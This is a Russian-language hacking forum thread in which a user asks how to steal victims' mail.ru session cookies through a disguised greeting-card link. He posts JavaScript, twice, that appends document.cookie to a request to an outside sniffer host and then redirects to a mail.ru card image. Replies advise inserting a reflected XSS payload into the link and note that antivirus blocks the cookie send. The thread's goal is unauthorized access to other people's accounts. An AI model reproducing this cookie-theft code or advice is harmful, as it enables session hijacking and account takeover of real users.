Цитата:

Сообщение от The_wrecker

На hack-pro.ru вкладка снифер там видео

Спасибо помог

На hack-pro.ru вкладка снифер там видео

Всем добрый день, я изучил видео,прочитал коменты,но явно что то упускаю:
Ломаю mail.ru..тобиш мне просто напросто нужна ссылка,желательно с редиректом на картинку или открытку,при нажатии на которую,мне прийдут кукисы жертвы. Пока что пробую всё на себе,но кукисов нет,тобиш Query: empty
Что делать? я так понял что просто создать фаил html из :

img = new Image(); img.src = "http://httpz.ru/ngkrot4da8d.gif?"+document.cookie; // здесь ваш код для кражи кукис
// редирект через 3 сек.
var URL = "http://images.cards.mail.ru/11bolprivet.jpg" // адрес открытки, если хотите, можете заменить на свой
var speed = 3000; // редирект через 3 секунды
function reload() {
document.location = URL
}
setTimeout("reload()", speed);

не достаточно,так? Нужны Пассивные xss? И как ими точно пользоваться?
Заранее огромное спасибо!

Цитата:

Сообщение от WarChild

Всем добрый день, я изучил видео,прочитал коменты,но явно что то упускаю:
Ломаю mail.ru..тобиш мне просто напросто нужна ссылка,желательно с редиректом на картинку или открытку,при нажатии на которую,мне прийдут кукисы жертвы. Пока что пробую всё на себе,но кукисов нет,тобиш Query: empty
Что делать? я так понял что просто создать фаил html из :

img = new Image(); img.src = "http://httpz.ru/ngkrot4da8d.gif?"+document.cookie; // здесь ваш код для кражи кукис
// редирект через 3 сек.
var URL = "http://images.cards.mail.ru/11bolprivet.jpg" // адрес открытки, если хотите, можете заменить на свой
var speed = 3000; // редирект через 3 секунды
function reload() {
document.location = URL
}
setTimeout("reload()", speed);

не достаточно,так? Нужны Пассивные xss? И как ими точно пользоваться?
Заранее огромное спасибо!

берешь пасс.xss и вместо строки (http://images.cards.mail.ru/11bolprivet.jpg) вставляешь свою пас хсс
вся загвоздка состоит в антивирусе у меня каспер 10 и он не отправляет куки даже когда я пробую на себе нужно его отключать!

Подскажите в чём может быть проблема..никак не приходят куки,пробовал уже и разными снифферами,только IP и остальное. Мне для mail.ru надо,делаю через JavaScript. Спасибо.

Цитата:

Сообщение от WarChild

Подскажите в чём может быть проблема..никак не приходят куки,пробовал уже и разными снифферами,только IP и остальное. Мне для mail.ru надо,делаю через JavaScript. Спасибо.

Тебе нужна рабочая пассивка..... ну а в остальном все просто! ты же умеешь пользоваться сниффером)

Анализатор трафика, или сниффер (от to sniff — нюхать) — сетевой анализатор трафика, программа или программно-аппаратное устройство, предназначенное для перехвата и последующего анализа, либо только анализа сетевого трафика, предназначенного для других узлов.
ru.wikipedia.org/wiki/Сниффер
--------------
Пример использавания сниффера в паре Сниффер+Фейк.